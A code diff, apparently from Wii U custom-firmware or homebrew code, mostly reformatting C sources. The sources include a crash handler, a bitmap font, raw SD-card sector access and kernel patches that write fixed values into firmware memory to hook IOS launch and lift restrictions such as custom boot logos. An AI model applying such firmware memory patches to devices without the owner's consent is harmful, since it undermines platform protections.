if(phdr->p_offset < tmpPhdr->p_offset)
{
reverse_memcpy((u8*)ios_elf_start + tmpPhdr->p_offset + additionalSize, (u8*)ios_elf_start + tmpPhdr->p_offset, tmpPhdr->p_filesz);
if (phdr->p_offset < tmpPhdr->p_offset) {
reverse_memcpy((u8 *) ios_elf_start + tmpPhdr->p_offset + additionalSize, (u8 *) ios_elf_start + tmpPhdr->p_offset, tmpPhdr->p_filesz);
tmpPhdr->p_offset += additionalSize;
}
else {
} else {
break;
}
}
phdr->p_filesz += additionalSize;
if(phdr->p_memsz < phdr->p_filesz)
{
if (phdr->p_memsz < phdr->p_filesz) {
phdr->p_memsz = phdr->p_filesz;
}
}
// in most cases only a word is copied to an aligned address so do a short cut for performance
if(size == 4 && !((unsigned int)addr & 3) && !((unsigned int)data & 3))
{
*(u32*)addr = *(u32*)data;
}
else
{
if (size == 4 && !((unsigned int) addr & 3) && !((unsigned int) data & 3)) {
*(u32 *) addr = *(u32 *) data;
} else {
kernel_memcpy(addr, data, size);
}
}

View File

@ -31,27 +31,24 @@
#define THUMB_B(addr, func) ((0xE000 | ((((u32)(func) - (u32)(addr) - 4) >> 1) & 0x7FF))) // +-2KB
#define THUMB_BL(addr, func) ((0xF000F800 | ((((u32)(func) - (u32)(addr) - 4) >> 1) & 0x0FFF)) | ((((u32)(func) - (u32)(addr) - 4) << 4) & 0x7FFF000)) // +-4MB
typedef struct
{
typedef struct {
u32 address;
void* data;
void *data;
u32 size;
} patch_table_t;
void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size);
void section_write_bss(u32 ios_elf_start, u32 address, u32 size);
static inline void section_write_word(u32 ios_elf_start, u32 address, u32 word)
{
static inline void section_write_word(u32 ios_elf_start, u32 address, u32 word) {
section_write(ios_elf_start, address, &word, sizeof(word));
}
static inline void patch_table_entries(u32 ios_elf_start, const patch_table_t * patch_table, u32 patch_count)
{
static inline void patch_table_entries(u32 ios_elf_start, const patch_table_t *patch_table, u32 patch_count) {
u32 i;
for(i = 0; i < patch_count; i++)
{
for (i = 0; i < patch_count; i++) {
section_write(ios_elf_start, patch_table[i].address, patch_table[i].data, patch_table[i].size);
}
}

View File

@ -24,39 +24,29 @@
#include "text.h"
#include "types.h"
void crash_handler(unsigned int *context, int type)
{
void crash_handler(unsigned int *context, int type) {
clearScreen(0xFFFFFFFF);
if(type == 0)
{
if (type == 0) {
_printf(0, 0, "GURU MEDITATION ERROR (prefetch abort)");
}
else if(type == 1)
{
} else if (type == 1) {
_printf(0, 0, "GURU MEDITATION ERROR (data abort)");
}
else
{
} else {
_printf(0, 0, "GURU MEDITATION ERROR (undefined instruction)");
}
int reg = 0;
while(reg < 16)
{
if(reg < 10)
{
while (reg < 16) {
if (reg < 10) {
_printf(20, 40 + reg * 20, "r%d = %08X", reg, context[1 + reg]);
}
else
{
} else {
_printf(20, 40 + reg * 20, "r%d = %08X", reg, context[1 + reg]);
}
reg++;
}
_printf(400, 20, "%08X", *(u32*)context[0x10]);
_printf(400, 20, "%08X", *(u32 *) context[0x10]);
for(;;);
for (;;);
}

View File

@ -26,18 +26,15 @@
void crash_handler(unsigned int *context, int type);
static inline void crash_handler_prefetch(unsigned int *context, int unused1, int unused2)
{
static inline void crash_handler_prefetch(unsigned int *context, int unused1, int unused2) {
crash_handler(context, 0);
}
static inline void crash_handler_data(unsigned int *context, int unused1, int unused2)
{
static inline void crash_handler_data(unsigned int *context, int unused1, int unused2) {
crash_handler(context, 1);
}
static inline void crash_handler_undef_instr(unsigned int *context, int unused1, int unused2)
{
static inline void crash_handler_undef_instr(unsigned int *context, int unused1, int unused2) {
crash_handler(context, 2);
}

View File

@ -1,65 +1,65 @@
static const unsigned char font_bin[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18,
0x18, 0x00, 0x0c, 0x00, 0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00,
0x00, 0x66, 0x66, 0xff, 0x66, 0xff, 0x66, 0x66, 0x00, 0x18, 0x7c, 0x06,
0x3c, 0x60, 0x3e, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0c, 0x66, 0x62,
0x00, 0x3c, 0x66, 0x3c, 0x1c, 0xe6, 0x66, 0xfc, 0x00, 0x18, 0x0c, 0x06,
0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x18, 0x0c, 0x0c, 0x18, 0x30, 0x00,
0x00, 0x0c, 0x18, 0x30, 0x30, 0x18, 0x0c, 0x00, 0x00, 0x66, 0x3c, 0xff,
0x3c, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7e, 0x18, 0x18, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x3e,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00,
0x00, 0x40, 0x60, 0x30, 0x18, 0x0c, 0x06, 0x00, 0x00, 0x3c, 0x66, 0x76,
0x6e, 0x66, 0x3c, 0x00, 0x00, 0x18, 0x1c, 0x18, 0x18, 0x18, 0x7e, 0x00,
0x00, 0x3c, 0x62, 0x30, 0x0c, 0x06, 0x7e, 0x00, 0x00, 0x3c, 0x62, 0x38,
0x60, 0x66, 0x3c, 0x00, 0x00, 0x6c, 0x6c, 0x66, 0xfe, 0x60, 0x60, 0x00,
0x00, 0x7e, 0x06, 0x7e, 0x60, 0x66, 0x3c, 0x00, 0x00, 0x3c, 0x06, 0x3e,
0x66, 0x66, 0x3c, 0x00, 0x00, 0x7e, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00,
0x00, 0x3c, 0x66, 0x3c, 0x66, 0x66, 0x3c, 0x00, 0x00, 0x3c, 0x66, 0x7c,
0x60, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00,
0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x70, 0x1c, 0x06,
0x06, 0x1c, 0x70, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x3e, 0x00, 0x00, 0x00,
0x00, 0x0e, 0x38, 0x60, 0x60, 0x38, 0x0e, 0x00, 0x00, 0x3c, 0x66, 0x30,
0x18, 0x00, 0x18, 0x00, 0x00, 0x3c, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3c,
0x00, 0x3c, 0x66, 0x7e, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3e, 0x66, 0x3e,
0x66, 0x66, 0x3e, 0x00, 0x00, 0x3c, 0x66, 0x06, 0x06, 0x66, 0x3c, 0x00,
0x00, 0x1e, 0x36, 0x66, 0x66, 0x36, 0x1e, 0x00, 0x00, 0x7e, 0x06, 0x1e,
0x06, 0x06, 0x7e, 0x00, 0x00, 0x3e, 0x06, 0x1e, 0x06, 0x06, 0x06, 0x00,
0x00, 0x3c, 0x66, 0x06, 0x76, 0x66, 0x3c, 0x00, 0x00, 0x66, 0x66, 0x7e,
0x66, 0x66, 0x66, 0x00, 0x00, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00,
0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1c, 0x00, 0x00, 0x66, 0x36, 0x1e,
0x1e, 0x36, 0x66, 0x00, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7e, 0x00,
0x00, 0x46, 0x6e, 0x7e, 0x56, 0x46, 0x46, 0x00, 0x00, 0x66, 0x6e, 0x7e,
0x76, 0x66, 0x66, 0x00, 0x00, 0x3c, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x00,
0x00, 0x3e, 0x66, 0x3e, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3c, 0x66, 0x66,
0x66, 0x3c, 0x70, 0x00, 0x00, 0x3e, 0x66, 0x3e, 0x1e, 0x36, 0x66, 0x00,
0x00, 0x3c, 0x66, 0x0c, 0x30, 0x66, 0x3c, 0x00, 0x00, 0x7e, 0x18, 0x18,
0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x00,
0x00, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56,
0x7e, 0x6e, 0x46, 0x00, 0x00, 0x66, 0x3c, 0x18, 0x3c, 0x66, 0x66, 0x00,
0x00, 0x66, 0x66, 0x3c, 0x18, 0x18, 0x18, 0x00, 0x00, 0x7e, 0x30, 0x18,
0x0c, 0x06, 0x7e, 0x00, 0x00, 0x3c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x3c,
0x00, 0x06, 0x0c, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3c, 0x30, 0x30,
0x30, 0x30, 0x30, 0x3c, 0x00, 0x18, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x0c, 0x18, 0x30,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x60, 0x7c, 0x66, 0x7c, 0x00,
0x00, 0x06, 0x06, 0x3e, 0x66, 0x66, 0x3e, 0x00, 0x00, 0x00, 0x3c, 0x06,
0x06, 0x06, 0x3c, 0x00, 0x00, 0x60, 0x60, 0x7c, 0x66, 0x66, 0x7c, 0x00,
0x00, 0x00, 0x3c, 0x66, 0x7e, 0x06, 0x3c, 0x00, 0x00, 0x38, 0x0c, 0x3e,
0x0c, 0x0c, 0x0c, 0x00, 0x00, 0x00, 0x7c, 0x66, 0x7c, 0x40, 0x3c, 0x00,
0x00, 0x06, 0x06, 0x3e, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1c,
0x18, 0x18, 0x3c, 0x00, 0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1e, 0x00,
0x00, 0x06, 0x06, 0x36, 0x1e, 0x36, 0x66, 0x00, 0x00, 0x1c, 0x18, 0x18,
0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0x66, 0xfe, 0xfe, 0xd6, 0xc6, 0x00,
0x00, 0x00, 0x3e, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3c, 0x66,
0x66, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x3e, 0x66, 0x66, 0x3e, 0x06, 0x00,
0x00, 0x00, 0x7c, 0x66, 0x66, 0x7c, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x66,
0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7c, 0x06, 0x3c, 0x60, 0x3e, 0x00,
0x00, 0x18, 0x7e, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66,
0x66, 0x66, 0x7c, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x00,
0x00, 0x00, 0xc6, 0xd6, 0xfe, 0x7c, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x3c,
0x18, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7c, 0x60, 0x3c, 0x00,
0x00, 0x00, 0x7e, 0x30, 0x18, 0x0c, 0x7e, 0x00, 0x00, 0x00, 0x18, 0x08,
0x08, 0x04, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08,
0x00, 0x00, 0x0c, 0x08, 0x08, 0x10, 0x08, 0x08
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18,
0x18, 0x00, 0x0c, 0x00, 0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00,
0x00, 0x66, 0x66, 0xff, 0x66, 0xff, 0x66, 0x66, 0x00, 0x18, 0x7c, 0x06,
0x3c, 0x60, 0x3e, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0c, 0x66, 0x62,
0x00, 0x3c, 0x66, 0x3c, 0x1c, 0xe6, 0x66, 0xfc, 0x00, 0x18, 0x0c, 0x06,
0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x18, 0x0c, 0x0c, 0x18, 0x30, 0x00,
0x00, 0x0c, 0x18, 0x30, 0x30, 0x18, 0x0c, 0x00, 0x00, 0x66, 0x3c, 0xff,
0x3c, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7e, 0x18, 0x18, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x3e,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00,
0x00, 0x40, 0x60, 0x30, 0x18, 0x0c, 0x06, 0x00, 0x00, 0x3c, 0x66, 0x76,
0x6e, 0x66, 0x3c, 0x00, 0x00, 0x18, 0x1c, 0x18, 0x18, 0x18, 0x7e, 0x00,
0x00, 0x3c, 0x62, 0x30, 0x0c, 0x06, 0x7e, 0x00, 0x00, 0x3c, 0x62, 0x38,
0x60, 0x66, 0x3c, 0x00, 0x00, 0x6c, 0x6c, 0x66, 0xfe, 0x60, 0x60, 0x00,
0x00, 0x7e, 0x06, 0x7e, 0x60, 0x66, 0x3c, 0x00, 0x00, 0x3c, 0x06, 0x3e,
0x66, 0x66, 0x3c, 0x00, 0x00, 0x7e, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00,
0x00, 0x3c, 0x66, 0x3c, 0x66, 0x66, 0x3c, 0x00, 0x00, 0x3c, 0x66, 0x7c,
0x60, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00,
0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x70, 0x1c, 0x06,
0x06, 0x1c, 0x70, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x3e, 0x00, 0x00, 0x00,
0x00, 0x0e, 0x38, 0x60, 0x60, 0x38, 0x0e, 0x00, 0x00, 0x3c, 0x66, 0x30,
0x18, 0x00, 0x18, 0x00, 0x00, 0x3c, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3c,
0x00, 0x3c, 0x66, 0x7e, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3e, 0x66, 0x3e,
0x66, 0x66, 0x3e, 0x00, 0x00, 0x3c, 0x66, 0x06, 0x06, 0x66, 0x3c, 0x00,
0x00, 0x1e, 0x36, 0x66, 0x66, 0x36, 0x1e, 0x00, 0x00, 0x7e, 0x06, 0x1e,
0x06, 0x06, 0x7e, 0x00, 0x00, 0x3e, 0x06, 0x1e, 0x06, 0x06, 0x06, 0x00,
0x00, 0x3c, 0x66, 0x06, 0x76, 0x66, 0x3c, 0x00, 0x00, 0x66, 0x66, 0x7e,
0x66, 0x66, 0x66, 0x00, 0x00, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00,
0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1c, 0x00, 0x00, 0x66, 0x36, 0x1e,
0x1e, 0x36, 0x66, 0x00, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7e, 0x00,
0x00, 0x46, 0x6e, 0x7e, 0x56, 0x46, 0x46, 0x00, 0x00, 0x66, 0x6e, 0x7e,
0x76, 0x66, 0x66, 0x00, 0x00, 0x3c, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x00,
0x00, 0x3e, 0x66, 0x3e, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3c, 0x66, 0x66,
0x66, 0x3c, 0x70, 0x00, 0x00, 0x3e, 0x66, 0x3e, 0x1e, 0x36, 0x66, 0x00,
0x00, 0x3c, 0x66, 0x0c, 0x30, 0x66, 0x3c, 0x00, 0x00, 0x7e, 0x18, 0x18,
0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x00,
0x00, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56,
0x7e, 0x6e, 0x46, 0x00, 0x00, 0x66, 0x3c, 0x18, 0x3c, 0x66, 0x66, 0x00,
0x00, 0x66, 0x66, 0x3c, 0x18, 0x18, 0x18, 0x00, 0x00, 0x7e, 0x30, 0x18,
0x0c, 0x06, 0x7e, 0x00, 0x00, 0x3c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x3c,
0x00, 0x06, 0x0c, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3c, 0x30, 0x30,
0x30, 0x30, 0x30, 0x3c, 0x00, 0x18, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x0c, 0x18, 0x30,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x60, 0x7c, 0x66, 0x7c, 0x00,
0x00, 0x06, 0x06, 0x3e, 0x66, 0x66, 0x3e, 0x00, 0x00, 0x00, 0x3c, 0x06,
0x06, 0x06, 0x3c, 0x00, 0x00, 0x60, 0x60, 0x7c, 0x66, 0x66, 0x7c, 0x00,
0x00, 0x00, 0x3c, 0x66, 0x7e, 0x06, 0x3c, 0x00, 0x00, 0x38, 0x0c, 0x3e,
0x0c, 0x0c, 0x0c, 0x00, 0x00, 0x00, 0x7c, 0x66, 0x7c, 0x40, 0x3c, 0x00,
0x00, 0x06, 0x06, 0x3e, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1c,
0x18, 0x18, 0x3c, 0x00, 0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1e, 0x00,
0x00, 0x06, 0x06, 0x36, 0x1e, 0x36, 0x66, 0x00, 0x00, 0x1c, 0x18, 0x18,
0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0x66, 0xfe, 0xfe, 0xd6, 0xc6, 0x00,
0x00, 0x00, 0x3e, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3c, 0x66,
0x66, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x3e, 0x66, 0x66, 0x3e, 0x06, 0x00,
0x00, 0x00, 0x7c, 0x66, 0x66, 0x7c, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x66,
0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7c, 0x06, 0x3c, 0x60, 0x3e, 0x00,
0x00, 0x18, 0x7e, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66,
0x66, 0x66, 0x7c, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x00,
0x00, 0x00, 0xc6, 0xd6, 0xfe, 0x7c, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x3c,
0x18, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7c, 0x60, 0x3c, 0x00,
0x00, 0x00, 0x7e, 0x30, 0x18, 0x0c, 0x7e, 0x00, 0x00, 0x00, 0x18, 0x08,
0x08, 0x04, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08,
0x00, 0x00, 0x0c, 0x08, 0x08, 0x10, 0x08, 0x08
};

View File

@ -32,32 +32,28 @@
#define svcIoctl ((int (*)(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len))0x081290E0)
#define svcIoctlv ((int (*)(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector))0x0812903C)
typedef struct
{
void* ptr;
u32 len;
u32 unk;
}iovec_s;
typedef struct {
void *ptr;
u32 len;
u32 unk;
} iovec_s;
static void* allocIobuf()
{
void* ptr = svcAlloc(0xCAFF, 0x828);
kernel_memset(ptr, 0x00, 0x828);
static void *allocIobuf() {
void *ptr = svcAlloc(0xCAFF, 0x828);
kernel_memset(ptr, 0x00, 0x828);
return ptr;
return ptr;
}
static void freeIobuf(void* ptr)
{
svcFree(0xCAFF, ptr);
static void freeIobuf(void *ptr) {
svcFree(0xCAFF, ptr);
}
static int IOS_Open(const char * dev, int mode)
{
static int IOS_Open(const char *dev, int mode) {
// put string into a good location
char* devStr = (char*)svcAlloc(0xCAFF, 0x20);
if(!devStr)
return -3;
char *devStr = (char *) svcAlloc(0xCAFF, 0x20);
if (!devStr)
return -3;
kernel_strncpy(devStr, dev, 0x20);
@ -68,124 +64,115 @@ static int IOS_Open(const char * dev, int mode)
return res;
}
static int FSA_Open(void)
{
static int FSA_Open(void) {
return IOS_Open("/dev/fsa", 0);
}
static int FSA_Close(int fd)
{
static int FSA_Close(int fd) {
return svcClose(fd);
}
static int FSA_RawOpen(int fd, const char* device_path, int* outHandle)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
static int FSA_RawOpen(int fd, const char *device_path, int *outHandle) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
kernel_strncpy((char*)&inbuf[0x01], device_path, 0x27F);
kernel_strncpy((char *) &inbuf[0x01], device_path, 0x27F);
int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293);
if(outHandle) *outHandle = outbuf[1];
if (outHandle) *outHandle = outbuf[1];
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
static int FSA_RawClose(int fd, int device_handle)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
static int FSA_RawClose(int fd, int device_handle) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
inbuf[1] = device_handle;
inbuf[1] = device_handle;
int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
static int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle)
{
u8* iobuf = allocIobuf();
u8* inbuf8 = iobuf;
u8* outbuf8 = &iobuf[0x520];
iovec_s* iovec = (iovec_s*)&iobuf[0x7C0];
u32* inbuf = (u32*)inbuf8;
u32* outbuf = (u32*)outbuf8;
static int FSA_RawRead(int fd, void *data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) {
u8 *iobuf = allocIobuf();
u8 *inbuf8 = iobuf;
u8 *outbuf8 = &iobuf[0x520];
iovec_s *iovec = (iovec_s *) &iobuf[0x7C0];
u32 *inbuf = (u32 *) inbuf8;
u32 *outbuf = (u32 *) outbuf8;
// note : offset_bytes = blocks_offset * size_bytes
inbuf[0x08 / 4] = (blocks_offset >> 32);
inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF);
inbuf[0x10 / 4] = cnt;
inbuf[0x14 / 4] = size_bytes;
inbuf[0x18 / 4] = device_handle;
// note : offset_bytes = blocks_offset * size_bytes
inbuf[0x08 / 4] = (blocks_offset >> 32);
inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF);
inbuf[0x10 / 4] = cnt;
inbuf[0x14 / 4] = size_bytes;
inbuf[0x18 / 4] = device_handle;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[1].ptr = data;
iovec[1].len = size_bytes * cnt;
iovec[1].ptr = data;
iovec[1].len = size_bytes * cnt;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec);
int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
static int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle)
{
u8* iobuf = allocIobuf();
u8* inbuf8 = iobuf;
u8* outbuf8 = &iobuf[0x520];
iovec_s* iovec = (iovec_s*)&iobuf[0x7C0];
u32* inbuf = (u32*)inbuf8;
u32* outbuf = (u32*)outbuf8;
static int FSA_RawWrite(int fd, void *data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) {
u8 *iobuf = allocIobuf();
u8 *inbuf8 = iobuf;
u8 *outbuf8 = &iobuf[0x520];
iovec_s *iovec = (iovec_s *) &iobuf[0x7C0];
u32 *inbuf = (u32 *) inbuf8;
u32 *outbuf = (u32 *) outbuf8;
inbuf[0x08 / 4] = (blocks_offset >> 32);
inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF);
inbuf[0x10 / 4] = cnt;
inbuf[0x14 / 4] = size_bytes;
inbuf[0x18 / 4] = device_handle;
inbuf[0x08 / 4] = (blocks_offset >> 32);
inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF);
inbuf[0x10 / 4] = cnt;
inbuf[0x14 / 4] = size_bytes;
inbuf[0x18 / 4] = device_handle;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[1].ptr = data;
iovec[1].len = size_bytes * cnt;
iovec[1].ptr = data;
iovec[1].len = size_bytes * cnt;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec);
int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors)
{
int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors) {
int fsa = FSA_Open();
if(fsa < 0)
if (fsa < 0)
return fsa;
int fd;
int res = FSA_RawOpen(fsa, "/dev/sdcard01", &fd);
if(res < 0)
{
if (res < 0) {
FSA_Close(fsa);
return res;
}
void *buf = svcAllocAlign(0xCAFF, num_sectors << 9, 0x40);
if(!buf)
{
if (!buf) {
FSA_RawClose(fsa, fd);
FSA_Close(fsa);
return -2;
@ -202,23 +189,20 @@ int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors)
return res;
}
int FSA_SDWriteRawSectors(const void *buffer, u32 sector, u32 num_sectors)
{
int FSA_SDWriteRawSectors(const void *buffer, u32 sector, u32 num_sectors) {
int fsa = FSA_Open();
if(fsa < 0)
if (fsa < 0)
return fsa;
int fd;
int res = FSA_RawOpen(fsa, "/dev/sdcard01", &fd);
if(res < 0)
{
if (res < 0) {
FSA_Close(fsa);
return res;
}
void *buf = svcAllocAlign(0xCAFF, num_sectors << 9, 0x40);
if(!buf)
{
if (!buf) {
FSA_RawClose(fsa, fd);
FSA_Close(fsa);
return -2;

View File

@ -37,20 +37,19 @@
#define NAND_DESC_TYPE_SEEPROM 0x45455052 // 'EEPR'
#define NAND_DESC_TYPE_OTP 0x4f545020 // 'OTP '
typedef struct _stdio_nand_desc_t
{
typedef struct _stdio_nand_desc_t {
u32 nand_type; // nand type
u32 base_sector; // base sector of dump
u32 sector_count; // sector count in SDIO sectors
} __attribute__((packed))stdio_nand_desc_t;
} __attribute__((packed)) stdio_nand_desc_t;
typedef struct _sdio_nand_signature_sector_t
{
typedef struct _sdio_nand_signature_sector_t {
u64 signature; // HAXXDUMP
stdio_nand_desc_t nand_descriptions[NAND_MAX_DESC_TYPES];
} __attribute__((packed)) sdio_nand_signature_sector_t;
int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors);
int FSA_SDWriteRawSectors(const void *buffer, u32 sector, u32 num_sectors);
#endif

View File

@ -43,34 +43,34 @@ typedef struct {
void instant_patches_setup(void) {
// apply IOS ELF launch hook
*(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios);
*(volatile u32 *) 0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios);
// patch FSA raw access
*(volatile u32*)0x1070FAE8 = 0x05812070;
*(volatile u32*)0x1070FAEC = 0xEAFFFFF9;
*(volatile u32 *) 0x1070FAE8 = 0x05812070;
*(volatile u32 *) 0x1070FAEC = 0xEAFFFFF9;
int (*_iosMapSharedUserExecution)(void *descr) = (void*)0x08124F88;
int (*_iosMapSharedUserExecution)(void *descr) = (void *) 0x08124F88;
// patch kernel dev node registration
*(volatile u32*)0x081430B4 = 1;
*(volatile u32 *) 0x081430B4 = 1;
// fix 10 minute timeout that crashes MCP after 10 minutes of booting
*(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT
*(volatile u32 *) (0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT
// start our MCP thread directly on first title change
kernel_memset((void*)(0x050BD000 - 0x05000000 + 0x081C0000), 0, 0x3000);
*(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = ARM_B(0x05054D6C, _startMainThread);
kernel_memset((void *) (0x050BD000 - 0x05000000 + 0x081C0000), 0, 0x3000);
*(volatile u32 *) (0x05054D6C - 0x05000000 + 0x081C0000) = ARM_B(0x05054D6C, _startMainThread);
// allow custom bootLogoTex and bootMovie.h264
*(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
*(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
